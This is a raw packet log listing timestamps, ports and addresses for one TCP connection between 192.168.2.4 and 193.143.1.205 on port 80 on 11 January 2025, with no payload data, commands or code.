Jan 11, 2025 06:44:56.782743931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.814270020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.814287901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.814301014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.814315081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.814416885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.816636086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.856117010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856146097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856158972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856178999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856192112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856199980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.856204987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856220961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856234074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856235027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.856250048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856266022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856272936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.856281996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856285095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.856307983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.856338024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856355906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856369019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856376886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856384039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856399059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856410980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.856410980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.856421947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.856441021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.856463909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898025990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898083925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898106098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898118973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898139000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898144007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898156881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898169041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898174047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898188114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898214102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898242950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898281097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898341894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898355007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898365974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898385048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898390055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898408890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898431063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898442984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898474932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898487091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898535967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898541927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898555040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898593903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898614883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898633003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898644924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898657084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898694038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898710012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898726940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898740053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898751020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898781061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898792982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898797035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898808002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898821115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898823023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898850918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898906946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898920059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898931026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898941040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898951054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.898952961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898967028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.898974895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899003983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899122000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899135113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899147034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899159908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899167061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899173021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899185896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899189949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899209976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899219036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899223089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899236917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899250031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899260998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899262905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899281979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899295092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899307013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899414062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899425983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899436951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899451017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899458885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899462938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899477959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899487019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899492979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899506092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899513006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899523020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899533987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899535894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899550915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899564028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899573088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899579048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899600983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899621010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899770021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899781942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899794102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899806976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899817944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899823904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899831057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899843931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899854898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899858952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899873972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899873972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899888992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.899903059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.899931908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.900017977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900033951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900047064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900065899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900074959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.900079012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900093079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900105953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.900106907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900122881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900126934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.900136948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900150061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900156975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.900163889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900208950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.900299072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900312901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900325060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900337934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900346041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.900352955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900372982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900377035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.900388002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900401115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900408030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.900414944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900428057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900429964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.900441885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900454998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.900464058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.900494099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.910640955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.942610025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942622900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942636013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942676067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.942684889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942702055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942714930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942725897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942730904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.942759037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.942769051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942781925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942826033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.942893028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942903996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942919970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942930937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942940950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942940950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.942951918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942962885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.942970991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.942975044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.943011045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.943057060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.943068981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.943078995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.943089962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.943101883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.943106890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.943118095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.943129063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.943137884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.943157911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.943178892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.972038031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.984818935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.984837055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.984860897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.984872103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.984906912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.984924078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.984950066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.984982967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985001087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985035896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985080004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985080004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985102892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985116005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985146999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985176086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985219002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985219002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985304117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985322952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985353947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985362053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985378027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985389948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985404968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985436916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985462904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985475063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985486984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985513926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985519886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985532045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985544920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985558033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985564947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985588074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985635996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985647917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985657930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985671043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985682011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985683918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985711098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985742092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985765934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985778093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985796928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985809088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985821009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.985832930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.985865116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986008883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986021996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986032009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986043930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986056089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986056089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986067057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986078024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986078978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986092091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986104965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986110926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986118078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986129999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986134052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986152887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986162901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986167908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986180067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986186028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986202955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986206055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986217022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986227989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986239910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986252069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986253977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986274958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986294031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986368895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986382008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986397982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986409903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986422062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986433029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986433029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986444950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986453056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986475945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986521959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986532927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986546040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986557961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986562967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986571074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986582994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986588001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986594915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986612082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986618042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986632109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986635923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986644030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986659050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986671925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986680031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986685038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986696959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986701012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986711979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986732006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986761093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.986948967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986972094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986984015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.986995935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.987006903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.987014055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.987020969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.987040043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.987041950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.987055063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.987067938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.987076998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.987082005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:56.987101078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.987140894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:56.987454891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.026348114 CET	80	49730	193.143.1.205	192.168.2.4
